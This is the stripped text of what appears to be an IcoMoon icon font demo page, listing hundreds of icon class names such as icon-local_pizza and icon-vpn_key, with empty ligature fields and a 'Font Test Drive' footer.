+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_laundry_service +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_library +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_mall +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-theaters +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_offer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_parking +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_pharmacy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_pizza +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-print2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_shipping +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_taxi +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-location_city +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-location_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-room +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lock_open +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lock_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks_3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks_4 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks_5 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks_6 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks_one +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-looks_two +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sync +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-loupe +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-low_priority +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-loyalty +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mail_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-map2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-markunread_mailbox +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-memory +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-menu +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-message +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mic_none +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mic_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mms +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mode_comment +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-monetization_on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-money_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-monochrome_photos +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mood_bad +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-more +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-more_horiz +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-more_vert +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-motorcycle2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mouse +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-move_to_inbox +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-movie_creation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-movie_filter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-multiline_chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-music_note +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-music_video +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-nature +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-nature_people +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-navigation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-near_me +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-network_cell +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-network_check +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-network_locked +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-network_wifi +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-new_releases +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-next_week +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-nfc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-no_encryption +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_cellular_no_sim +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-note +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-note_add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-notifications +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-notifications_active +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-notifications_none +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-notifications_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-notifications_paused +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-offline_pin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ondemand_video +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-opacity +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-open_in_browser +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-open_with +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pages +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pageview +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pan_tool +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-panorama +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-radio_button_unchecked +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-panorama_horizontal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-panorama_vertical +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-panorama_wide_angle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-party_mode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pause2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pause_circle_filled +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pause_circle_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-people_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_camera_mic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_contact_calendar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_data_setting +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_device_information +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-person_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_media +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_phone_msg +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-perm_scan_wifi +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-person +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-person_add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-person_pin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-person_pin_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-personal_video +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pets +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_android +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_bluetooth_speaker +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_forwarded +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_in_talk +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_iphone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_locked +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_missed +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone_paused +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phonelink_erase +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phonelink_lock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phonelink_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phonelink_ring +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phonelink_setup +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_album +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_filter +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_size_select_actual +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_size_select_large +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_size_select_small +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-picture_as_pdf +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-picture_in_picture +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-picture_in_picture_alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pie_chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pie_chart_outlined +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pin_drop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play_arrow +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play_circle_filled +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play_circle_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-play_for_work +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-playlist_add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-playlist_add_check +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-playlist_play +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-plus_one +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-polymer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pool +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-portable_wifi_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-portrait +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-power +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-power_input +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-power_settings_new +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-pregnant_woman +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-present_to_all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-priority_high +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-public +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-publish +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-queue_music +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-queue_play_next +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-radio +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-radio_button_checked +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rate_review +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-receipt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-recent_actors +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-record_voice_over +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-redo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-refresh2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-remove2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-remove_circle_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-remove_from_queue +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-visibility +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-remove_shopping_cart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reorder2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-repeat2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-repeat_one +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-replay +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-replay_10 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-replay_30 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-replay_5 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reply2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-reply_all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-report +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-warning2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-restaurant +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-restore_page +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ring_volume +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-room_service +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rotate_90_degrees_ccw +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rotate_left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rotate_right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rounded_corner +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-router +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rowing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rss_feed +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-rv_hookup +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-satellite +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-save2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-scanner +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-school +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-screen_lock_landscape +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-screen_lock_portrait +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-screen_lock_rotation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-screen_rotation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-screen_share +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sd_storage +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-search2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-security +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-select_all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-send2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sentiment_dissatisfied +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sentiment_neutral +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sentiment_satisfied +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sentiment_very_dissatisfied +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sentiment_very_satisfied +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_applications +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_backup_restore +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_bluetooth +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_brightness +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_cell +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_ethernet +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_input_antenna +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_input_composite +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_input_hdmi +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_input_svideo +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_overscan +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_phone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_power +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_remote +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_system_daydream +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-settings_voice +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-share2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shop +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shop_two +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shopping_basket +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-short_text +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-show_chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shuffle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_cellular_4_bar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_cellular_connected_no_internet_4_bar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_cellular_null +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_cellular_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_wifi_4_bar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_wifi_4_bar_lock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-signal_wifi_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sim_card +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sim_card_alert +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-skip_next +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-skip_previous +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-slideshow +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-slow_motion_video +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stay_primary_portrait +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-smoke_free +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-smoking_rooms +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-textsms +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-snooze +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sort_by_alpha +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-spa +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-space_bar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-speaker +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-speaker_group +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-speaker_notes +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-speaker_notes_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-speaker_phone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-spellcheck +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star_border +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star_half +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stars +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stay_primary_landscape +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stop2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-stop_screen_share +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-storage +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-store_mall_directory +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-straighten +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-streetview +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-strikethrough_s +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-style +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subdirectory_arrow_left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subdirectory_arrow_right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subject +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subscriptions +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subtitles +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-subway2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + icon-supervisor_account +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-surround_sound +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-swap_calls +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-swap_horiz +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-swap_vert +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-swap_vertical_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-switch_camera +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-switch_video +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sync_disabled +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sync_problem +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-system_update +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-system_update_alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tab +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tab_unselected +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tablet2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tablet_android +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tablet_mac +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tap_and_play +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-text_fields +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-text_format +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-texture +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumb_down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumb_up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-thumbs_up_down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-timelapse +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-timeline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-timer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-timer_10 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-timer_3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-timer_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-title +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-today +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toll +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tonality +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-touch_app +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-toys +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-track_changes +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-traffic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-train2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tram +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-transfer_within_a_station +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-transform +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-translate +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trending_down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trending_flat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-trending_up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tune +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tv2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unarchive +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-undo2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unfold_less +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-unfold_more +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-update +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-usb2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-verified_user +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vertical_align_bottom +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vertical_align_center +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vertical_align_top +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vibration +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-video_call +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-video_label +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-video_library +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-videocam +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-videocam_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-videogame_asset +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_agenda +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_array +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_carousel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_column +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_comfy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_compact +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_day +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_headline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_list +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_module +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_quilt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_stream +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-view_week +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vignette +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-visibility_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-voice_chat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-voicemail +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume_down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume_mute +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-volume_up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vpn_key +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-vpn_lock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wallpaper +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-watch +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-watch_later +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wb_auto +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wb_incandescent +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wb_iridescent +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wb_sunny +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wc +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-web +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-web_asset +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-weekend +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-whatshot +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-widgets +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wifi2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wifi_lock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wifi_tethering +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-work +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wrap_text +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-youtube_searched_for +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-zoom_in +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-zoom_out +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-zoom_out_map +
+
+ + +
+
+ liga: + +
+
+
+ + +
+

Font Test Drive

+ + +
  +
+
+ +
+

Generated by IcoMoon

+
